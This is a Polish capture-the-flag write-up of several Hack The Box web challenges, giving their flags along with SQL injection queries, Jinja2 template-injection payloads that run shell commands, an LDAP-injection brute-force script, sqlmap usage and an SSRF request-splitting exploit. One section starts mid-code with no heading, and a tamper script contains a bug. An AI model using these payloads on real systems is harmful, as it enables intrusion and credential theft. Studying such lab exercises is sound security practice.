Nazwa: Emdee five for life Punkty: 20 Flaga HTB{N1c3_ScrIpt1nG_B0i!}
- Na wejściu otrzymujemy losowy łańcuch znaków
- Mamy zadanie go zahashować, funkcją hashującą MD5, gdy robimy to z wykorzystaniem narzędzia online, to w odpowiedzi znajdujemy wskazówkę:
Too slow - W dev-tools zakładka network, aby prześledzić requesty:
- Do generowania losowego string'a
GET http://188.166.168.204:31661/ - Do wysyłania zahashowanego string'a
POST http://188.166.168.204:31661/
- Do generowania losowego string'a
- Napisałem skrypt (nodejs), który miał byc za zadanie szybszy ode mnie :
const Axios = require('axios').default;
const cheerio = require('cheerio');
const md5 = require('md5');
const fetch = require('node-fetch');
(async () => {
const axios = Axios.create();
const url = 'http://188.166.168.204:31661/';
const responseGet = (await axios.get(url));
const html = responseGet.data;
const cookie = responseGet.headers['set-cookie'][0];
const $ = cheerio.load(html);
const value = $('h3')[0].children[0].data;
fetch("http://188.166.168.204:31661/", {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"accept-language": "pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7",
"cache-control": "max-age=0",
"content-type": "application/x-www-form-urlencoded",
"sec-gpc": "1",
"upgrade-insecure-requests": "1",
"cookie": cookie.split(';')[0]
},
"referrer": "http://188.166.168.204:31661/",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": `hash=${md5(value)}`,
"method": "POST",
"mode": "cors"
}).then(r => r.text()).then(console.log);
})();Skrypt najpierw odpytuję stronę, w odpowiedzi dostaję html z którego odczytuję znaki do zahashowania, w odpowiedzi otrzymuję również ciasteczko sesji które następnie przekazywane jest przy następnym zapytaniu. Ostatnie zapytanie POST, zostało wygenerowane z DevTools, opcją copy as: Node-Fetch
5. Rezultat 
Nazwa: Freelancer Punkty: 30 Flaga HTB{s4ff_3_1_w33b_fr4__l33nc_3}
- Na wejściu otrzymujemy stronę internetową free lancera
- Na początku zwróciłem uwagę na formularz do kontaktu znajdujący się na dolę strony, próbowałem tam się wstrzyknąć za pomocą sql injection, ale nie zależnie od przekazywanych danych zawsze otrzymałem status odpowiedzi 500.
- Przyglądając się HTML'owi udało mi się znaleźć, ciekawy link:
/portfolio?id=1, wykorzystując narzędzie Burp -> Intruder (id: 1..50), a następnie Comparer wykryłem, że dla pierwszych id znajdują się jakaś treść, a w pozostałych brak. Ta treść to takie lorem ipsum, ale zapewne zaciągane z bazy danych. Co nasunęło mi ponownie pomysł z sql injection tym razem w kontekście zapytania/portfolio?id=--sql - Spróbowałem takiego zapytania:
/portfolio?id=1%20OR%201%3d1%20--, i zostały wpisane 3 opisy w opowiedź, czyli wiem, że podatność to SQL INJECTION, teraz trzeba tylko znaleźć flagę :) - Dzięki zapytaniu:
1 AND 1=2 UNION SELECT table_schema, table_name, 1 FROM information_schema.tablesudaję się uzyskać listę wszystkich tabel, interesująca się wydaje o nazwiesafeadmin, dodatkowo wiem że serwer bazy danych to MYSQL - Tak poznałem listę kolumn
1 AND 1=2 UNION SELECT table_name, column_name, 1 FROM information_schema.columns - Pozyskanie loginu i hasła admina:
1 AND 1=2 UNION SELECT 1,username,password FROM safeadmin- Password:
$2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K - username:
safeadm
- Password:
- Uruchomiłem John The Ripper w celu złamania hasła(bruteforce), ale ponieważ ten proces trwa, i w sumie nie wiem gdzie mógłbym użyć, tego hasła, postanowiłem przeskanować strukturę katalogów, z początku chciałem użyć do tego Burp, ale przez to że korzystam z wersji community jest on bardzo wolny. Wypróbowałem narzędzie DirBuster które jest setki razy szybsze, udało mi się dzięki temu znaleźć stronę:
administrat/index.phpdo której jest możliwość zalogowania się. - Doczytałem, w
Bezpieczeństwo aplikacji webowych, że jest możliwość odczytu plików za pomocą sql w przypadku bazy MySQL, a więc wykorzystałem tą podatność najpierw do odczytania pliku,administrat/index.phpa następnie jego kod wskazał mi plikadministrat/panel.phpw którym znajdowała się flaga. Użyte query do odczytania pliku:1 AND 1=2 UNION SELECT 1,LOAD_FILE('/var/www/html/administrat/panel.php'),password FROM safeadmin - Rezultat:

Nazwa: Templated Punkty: 20 Flaga HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!}
- Wchodzę na stronę i jedyna sensowna treść jak się ukazuję to:
Proudly powered by Flask/Jinja2 - Wipsuję w wyszukiwarke:
hack Flask/Jinja2, znajduję taki artykuł https://blog.nvisium.com/p263 Jinja2to silnik templatek, który możeby być podatny na tak zwane atakiServer-Side Template Injections, czyli wstrzykiwanie złośliwego kodu do silników renderujących najcześciej strony html.- Sprawdzam czy są gdzieś na stronie wyświetlane dane przekazane prze użytkownika. Są wystarczy wpisać:
http://188.166.168.204:31061/pagei w odpowiedzi dostajemyThe page page could not be found, a więc możemy w to miejśce próbować wstrzyknąć jakiś złośliwy kod. - Aby wykonać kod wewnątrz templatu należy umieścić go w:
{{ ... }} - Z wyżej wskazanego poradnika dowiaduję się, że w kontekście templatu jest dostępny obiekt o nazwie
request - Pobieram kod żródłowy flaska(https://github.com/pallets/flask.git), aby odnaleźć tam
requesti zobaczyć z czego się składa, okazuję się, że flask jest wraperem wokółwerkzeugi to w jego kodzie znaujduję klasarequesthttps://github.com/pallets/werkzeug/blob/master/src/werkzeug/wrappers/request.py , ale nic mi sie narazie nie rzuca w oczy - Chciałbym odczytać pliki serwera bo pewnie gdzieś tam jest zakodowana flaga, w konsoli pythona (lokalnie) wykonuje takie polecenie
>>> __builtins__.__import__('os'), które pozwala mi uzyskać dostęp do modułuosktóry z koleji pozwoliłby mi dostać się do wszystkich plików, lecz wstrzykiwane nie wykonuję się poprawnie. - Natknałem się na następny opis tej podatnośći,
https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee, opisany tam exploit polega na przeszukaniu drzewa klas w pythonie i dostania się w ten sposób do takiej która umożliwi nam egzekucje kodu. Wykorzystane są do tego wbudowane metody pythona__mro__- do wyświetlenia wszystkich klas (jest to kolejność w jakiej są ładowane klasy, dlatego powinniśmy wywołać ją na jakieś nisko pzoiomowej klasie jakobject) - Następnie w drzewie klas otrzymanych poleceniem
1.__class__.__mro__[1].__subclasses__()(wszystkie klasy dziedziczące po klasieobjectw tym projekcie), należało znaleźć klasę która umożliwi odczyt plików, ctrl+f i widać ze istnieje klasaPopenktóra służy do otwierania podprocesów, ma indeks [414] (zgadnięty drogą prób i błędów) - Wylistowanie istniejących plików:
1.__class__.__mro__[1].__subclasses__()[414](["ls","-la"],stdout=-1).communicate(), w outpucie widać plik flag.txt :) - Odczytanie flagi (plik flag.txt):
1.__class__.__mro__[1].__subclasses__()[414](["cat","flag.txt"],stdout=-1).communicate() - Rezultat:

Nazwa: baby ninja jinja Punkty: 30 Flaga HTB{b4by_ninj4s_d0nt_g3t_qu0t3d_0r_c4ughT}
- Wchodze na stronę zwracam uwagę na nagłówek
Server: Werkzeug/1.0.1 Python/2.7.17, który wskazuję, że mamy ponownie do czynienia z flaskiem. A tytułbaby ninja jinjamoże sugerować, że mamy znowu do czynienia z atakami z kategoriSSTI. - Próbuję zastosować, w jednymy dostępnym formularzu podstawowe sprawdzenie takie jak:
{{ 2 + 2 }}, lecz są one nie sktueczne. Ponadto w odpowiedzi nie znajduję żadnych treści które przekazałem, co może świadczyć o tym że przekazane dane nie są wgl porcesowane. - Przeglądając kod HTML głównej strony napotkałem na komentarz
<!-- /debug -->, przechodzę pod adreshttp://206.189.121.131:32117/debugi w odpowiedzi otrzymuję kod źródłowy serwera. - Analiza kodu:
-
Znaczniki pozwalające osadzić kod(
{{}}) są wycinane:db.text_factory = (lambda s: s.replace('{{', ''). replace("'", '''). replace('"', '"'). replace('<', '<'). replace('>', '>') ) -
Widzimy również, aby server zwrócił templatkę o nazwie report musimy posiadać klucz
leaderw sesji - ```report = render_template_string(acc_tmpl. replace('baby_ninja', query_db('SELECT name FROM ninjas ORDER BY id DESC', one=True)['name']). replace('reb_num', query_db('SELECT COUNT(id) FROM ninjas', one=True).itervalues().next()) )if session.get('leader'): return report``` -
Trzecie sporzetrzeżenie to możliwy, brak zabezpieczenia przed SqlInjection.
-
- Aby ustawić sesję trzeba ustawić nagłówek
Cookie: ..., ale trzeba go również odpowiednio zaszyfrować, szyfr generowany jest losowoos.urandom(120), a więc go nie zgadniemy :(, pozostaje nam ustawienie sesji po stronie serwer, czyli wykonanie kod zdalnie - W dokumentacji Jinja znalazłem sposób w jaki można wykonać kod bez użycią
{{, dyrektywaifma tylko jeden taki blok :) -{%+ if something %}yay{% endif %} - Próbowałem wykonać przykładowe kod i okazało się, że aplikacja jest w
debug mode, przez co wyświetlac się stack trace, jeśli coś pójdzie nie tak. Dostępny jest również dostęp do konsoli python'a z poziomu stack-tracu, lecz trzeba znać pina. Po szybkim przeszukaniu internetu nie znalazłem żadnego prostego sposobu na znalezienie takiego pinu. Konsola znajduję sie równiez pod/console. - Idąc tropem SSTI udało mi się skontruować takie query:
?leader=leader&name={%+if session.update({request.args.leader:1}) %}yay{% endif %}- jego działanie to:session['leader']=1, przez co w odpowiedzi otrzumujemy templatereport - Dzięki temu w odpowiedzi z serwera znajdowało się już odopowiednio zakodowane ciasteczko:
eyJsZWFkZXIiOjF9.YGCGJA.yDwEUWkJuEkcipxY5wl6p3EE3zI, którego będę mógł od tej pory używać - Postanowiłem pójść inną drogą ponieważ, nie mogłem znaleźć sposóbu na wyświetlanie danych. Postanowiłem je przekazywac w ciasteczku
session. Mogę dowolonie modyfikować zawrtość tej sesji. Znalazłem pakiet o nazwieflask-unsign, który umozliwia dekdowanie ciasteczek - Napisałem prosty skrypt którym pozwoli mi zlokalizowac Klasę
Popen, która wykorzytam jak w zadaniu 2.3
URL="http://178.62.54.33:31649/"
session = requests.session()
for i in range(0,300):
print(i)
response = session.get(URL + "?leader=leader&name={%+if session.update({request.args.leader:1.__class__.__mro__[1].__subclasses__()["+str(i)+"]}) %}yay{% endif %}")
print(str(i) + " : " + response.text[-70:-1])
if "Popen" in response.text[-70:-1]:
print("!!!!!!!!!!!!!!!!" + str(i))
time.sleep(0.7)
# wynik: 258- Wylistowanie plików:
?command=ls&leader=leader&name={%+if session.update({request.args.leader:1.__class__.__mro__[1].__subclasses__()[258]([request.args.command],stdout=-1).communicate()}) %}yay{% endif %}, rezultat:
app.py
flag_P54ed
schema.sql
static
templates- Przejrzenie pliku flag_P54ed
"?command=cat&arg=flag_P54ed&leader=leader&name={%+if session.update({request.args.leader:1.__class__.__mro__[1].__subclasses__()[258]([request.args.command, request.args.arg],stdout=-1).communicate()}) %}yay{% endif %}" - Ostateczny skrypt:
import flask_unsign
import requests
import time
URL="http://178.62.54.33:31649/"
session = requests.session()
response = session.get(URL + "?command=cat&arg=flag_P54ed&leader=leader&name={%+if session.update({request.args.leader:1.__class__.__mro__[1].__subclasses__()[258]([request.args.command, request.args.arg],stdout=-1).communicate()}) %}yay{% endif %}")
payload = session.cookies.get_dict()['session']
decoded = flask_unsign.decode(payload)['leader'][0].decode("utf-8")
print(decoded)- Na koniec jeszcze wpadłem na pomysł, że mogłem wyświetlać dane, wywołując wyjątki których treścią byłaby treść która chciałbym przekazać z serwera.
- Rezultat:

Nazwa: Phonebook Punkty: 30 Flaga: HTB{d1rectory_h4xx0r_is_k00l}
- Po wejściu na strone, przekierowuję nas do
/login, gdzie ukazuję się strona logowania, widnieje również komunikat który jest podpisany nickiem:Reese - Po analizie nagłówków widać, że załączane jest cisteczko sesji, co może się okazaćprzdydatne w późniejszym etapie. Analizując kod strony widzimy również, że przkazywany może być parameter URL o kluczu
message. - Niestety nie udało mi się odnaleźć żadnego źródła pomocna dopiero okazała się wskazówka kolegi który powiedział, że chodzi LDAP. Po wpisaniu LDAP podatności w internet czytam artykuł: https://sekurak.pl/podatnosc-ldap-injection-definicje-przyklady-ataku-metody-ochrony/, opisuję on podatność typu
LDAP Injectionbardzo przypominającą,SQL Injection - Wpisując
*w pole username i password, udaje się przejść na nstępną stronę, gdzie mamy dostęp do wyszukiwarki, w której niestety nie działa wildcard, ale po wpisaniu użytjkownikaReeseotrzymujemy informację o nim -{cn: "Kyle", homePhone: "555-1234567", mail: "reese@skynet.com", sn: "Reese"} - W artykule istnieję jeszcze opis techniki zwanej
Booleanizationktóra na podstawie prostych odpowiedzi od serwera typu prawda/fałsz pozwala nam odgadnąć cały ciąg znaków. To jest zamiast wpisywać samą gwiazdkę możemy wpisaćABC*, jeżeliABCjest ciągiem początkowym hasła, ekran logowania nas przepuści, a więc idąc tym tropem chciałem sprawdzić czy w haśle użytkownikaReesenie znajduje się czasem flaga, skoro wiemy że flaga zawsze zaczyna się od 3 znakówHTB, a więc wpisuję użytkownika uzytkownik:Reesehasło:HTB*i udaje mi się zalogować co oznacza, że flaga to najprowdoboniej hasło użytkownikaReese - Następny krok to autmatyzacja procesu, w tym celu utworzyłem skrypt w pythonie:
import requests
import string
from time import sleep
# Mozliwe znaki dla hasla z wykluczeniem * poniewaz to by zawsze przechodzilo
CHARS = list(filter(lambda x: x != '*',[ *string.punctuation ,*string.ascii_letters, "1","2","3","4","5","6","7","8","9","0"]))
# Cel ataku
URL = "http://206.189.121.131:31118/login"
# Nazwa użytnikownika
USERNAME = "Reese"
#Początkowe hasło
password = "HTB"
# Jeśli wskzane hasło jest poprawne zwracana jest wartość True w innym wypadku false
def guess(password: str) -> bool:
print("trying password: " + password)
response = requests.post(URL,allow_redirects=False, data = {"username" : USERNAME, "password": password + "*"})
if 'Location' not in response.headers:
return False
if '/' != response.headers['Location']:
return False
return True
# Zgaduj dopoki ostatni znak hasła nie jest równy '}' - znak końca flagi
while password[-1] != '}':
for char in CHARS:
sleep(0.1)
if guess(password + char):
print("Found: " + char)
password += char
print("Password:" + password)public function query($sql) {
$args = func_get_args();
unset($args[0]);
return parent::query(vsprintf($sql, $args));
}
}
$db = new db();
if ($_SERVER['REQUEST_METHOD'] == 'POST') { $obj = $db->waf(file_get_contents('php://input')); $db->query("SELECT note FROM notes WHERE assignee = '%s'", $obj->user); } else { die(highlight_file(FILE, 1)); } ?>
* Metoda `waf` jest to filtr majacy na celu zabezpieczyćstronę przed atakiem `sql injection`. Widzimy że tenfiltr jest skonstruowany dość prosto i zapewne będzię gomożna w jakiś sposób obejść
* Widzimy również, że zwracana odpowiedź musimy miećpostać json'a: `{"user":"<INJECTED SQL>"}`
* Widzimy również dziwną dyrektywę `php://input`, poprzeczytaniu https://www.php.net/manual/en/wrappers.phpphp, okazuję się jednak że jest to poprostu odczyt danychwysłanych za pomocą zapytania typu `POST`
* Wykonywane query `"SELECT note FROM notes WHEREassignee = '%s'"` nasz payloady jest wstrzykiwane w `%s`
2. Snippet funkcji `waf` wklejam do interpretra online co pozwala, na swobodne próbowanie obejścia filtra
1. Znalazłem informację na temat tego że taki filtry można obchodzić kodowanie naprzykład w przypadku jsona wspieranym formatem jst utf-8, a więc możemy zakodowac payload do tego formatu a następnie go przekazać.
2. Wynikiem tych działań jest taki skrypt który przechodzi przez fillt, ale nie otrzymuj żadnej zwrotki dlatego musimy użyć cięższego narzędzia jak `sqlmap` który autmatyzuję proces wykrywania i wykorzystania `sql injection`
3. SqlMap, do sqlmap możemy pisać własne skrypty które przetwarzają dane przed wstrzyknięciem ich przez narzędzie tzw. `tamper scripts` https://lucadidomenico.medium.com/how-to-write-custom-tamper-scripts-for-sqlmap-93927808809e- przykładowy plik i jak go wykrozystać
4. Moj tamper script:
```python
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
def toUtf8(payload: str): return ''.join(map(lambda s: str(hex(ord(s))), payload)).replace('0x','\\u00')
return toUtf8(tamper)
- Musimy równiez przygotwać zapytanie zgodne z RFC protokołu http, możemy je uzyskać z developer tools:
networking -> request -> view source
POST / HTTP/1.1
Host: 206.189.121.131:30810
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
{"user":"*"}
- Teraz mozemy urchomić skypt sqlmap:
1.
sqlmap --tamper=tamper.py -r request.txt --dbsParametr--dbszwróci nam listę dostępnych baz - Wywołamy skrypt ponownie dla intersujące nas bazy:
sqlmap --tamper=tamper.py -r request.txt --D db_m8452 --tables - dump tabeli:
sqlmap --tamper=tamper.py -r request.txt -D db_m8452 -T definitely_not_a_flag -dump
- Wykryta podatnośc prze sqlmap to tzw.
time-base blind, czyli w momencie gdy nie otrzymujemy od serwera żadnej odpowiedzi, w postaci tekstu lub jsona możemy wstrzymywać pracę serwera na kilka sekunda jeśli podane query jest fałszywe a gdy jest prawdziwe odrazu kończyć. Atak ten przypomina atak typu booleanization ponieważ tutaj też jesteśmy zmuszeni zgadywać "literka po literce", dostajemy jedynie odpowiedz typu prawda fałsz.
Nazwa: Weather app Punkty: 30 Flaga: HTB{w3lc0m3_t0_th3_p1p3_dr34m}
- Ten challengu różni się od pozostałych tym że mamy dostęp do całego kodu serwera
- Analiza kodu
- W pliku
database.jswidzimy podatność typu SQL INJECTION, parametry funkcjiregisternie są filtrowane.
let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`; resolve((await this.db.run(query)));
- Idąc tym tropem znajduję controller metody register w pliku
index.js, lecz sprawdza on pochodzenie żadania czy pochodzi ono od tego właśnie serwera, przez co rejstrować mogą się jedynie użytkownicy
router.post('/register', (req, res) => { if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') { return res.status(401).end(); }
- Analizując kod dalej udaje mi się zlokalizować wywołanie requesta z serwera do api weather app, kontroler znajduję się w pliku
routes/index.js, za to samo wywołanie w plikuhelpers/WeatherHelper.js
Niestety zapytanie ma ustawiony na stałe URL oraz metode zapytania, czyliasync getWeather(res, endpoint, city, country) { // *.openweathermap.org is out of scope let apiKey = '10a62430af617a949055a46fa6dec32f'; let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`);
GET. - W pliku
- Ponieważ znamy wersję głównej bilioteki, które znajdują się w pliku
package.json, postanowiłem poszukać podatności na te konkretne wersje. Zaczynam od nodejs wpisuję w googlenodejs 8.x cvi otrzymuję listę podatnośći - Udaję mi się z listy 14 podatnośći odnaleźć tą która jest właśnie tym czego potrzebujemy (
CVE-2018-12116) - Tego typu podatność nazywa się SSRF - Server Site Request Forgery i polega ono wykonywaniu zapytań jako serwer do innych zasobów, dzięki czemu uzyskujemy dostęp do wszystkich usług do których ma dostęp serwer. W naszym wypadku uzyskujemy dostęp do naszego serwer'a jak serwer co umożliwia nam atak.
- Szukam dokładnego opisu tej podatności, natknąłem się na orginalne zgłoszenie błędu:
https://hackerone.com/reports/409943- wykorzystana jest podatność jako że node natwynie korzysta z kodowanielatina-1, czyli ucina część wykraczając poza 2 bajty, czyli znaku{0220}zostanie przekształcony nau{20}(znak spacji), co więcej poprawnie przejdzie walidacje, co pozwoli nam w jednym requescie wykonać kolejne. - Wykorzystując ten fakt i znając składnie protokułu HTTP 1.1, napisałem skrypt automtyzujący cały proces
from requests import *
URL = "http://138.68.189.41:32481"
def endpoint_payload(username, password):
username = utils.quote(username)
password = utils.quote(password)
content_length = len(username) + len(password) + 19
return """127.0.0.1/ HTTP/1.1
Host: 127.0.0.1
POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: {content_length}
username={username}&password={password}
GET /?qwe=""".format(content_length=content_length, username=username, password=password)
def ssrify(httpFormated):
return httpFormated.replace("\n","\u010D\u010A").replace(" ","\u0120")
def request(username, password):
payload = endpoint_payload(username, password)
ssrf_payload = ssrify(payload)
print(ssrf_payload)
return post(URL + '/api/weather',json={'endpoint': ssrf_payload, 'city': 'warsaw', 'country': 'poland'})
res = request('admin',"password")
print(res.text)- Obchodząc to zabezpieczenie, możemy przejść do następnego czyli SQL INJECTION w formularz rejestracji. Analizując kod widzimy, że aby uzyskać flagę musimy się zalgować na konto administratora. Jeżeli nim mamy możliwości wstrzyknięcia kodu do logowania, musimy w jakiś sposób zaktualizować hasło konta
admin. - Szukam w jaki sposób można wpisać wstrzyknać kod do dyrektywy INSERT, znajduję to źródło https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/, lecz niestety nie działa, ponieważ jest to wersja dla DBMS MySQL, w pliku
database.jsodnajduję informację, że my korzystamy z bazy danychsqlite, szukam a więc odpowiednika i jest polecenie:ON CONFLICT(ip) DO UPDATE SET hits = hits + 1; - A więc query wygląda tak:
password') ON CONFLICT(username) DO UPDATE SET password = 'password';-- - Następnie należy je podać w pole password funkcji
request, zalogować się nowymi danymi, i ukaże nam się flaga. - Rezultat:


